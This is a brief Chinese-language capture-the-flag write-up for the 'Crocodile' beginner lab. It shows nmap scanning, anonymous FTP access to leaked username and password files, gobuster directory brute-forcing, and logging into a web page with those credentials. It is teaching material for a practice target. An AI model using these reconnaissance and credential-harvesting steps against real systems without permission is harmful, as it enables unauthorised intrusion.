STARTING POINT TIER 1 Crocodile

这是一个关于错误配置导致数据泄露的关卡。

首先nmap开扫

└─$ nmap -sV -A [ip-address]      
Nmap scan report for aioCloud

扫出了2个端口

• 21端口运行FTP运行匿名登录
• 80端口运行Apache说明应该存在web应用

匿名登录看看FTP有啥吧

└─$ ftp [ip-address]
Connected to [ip-address]
220 (vsFTPd 3.0.3)

ftp> ls

150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd

全都下载下来拿到用户名和密码，然后去浏览器输入[ip-address]果然存在web应用。

用gobuster爆破目录

└─$ gobuster dir --url [ip-address] -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html

爆出登录目录login.php

-x参数让gobuster搜索指定的文件类型

进入登录界面后，根据得到的账号密码拿到flag。
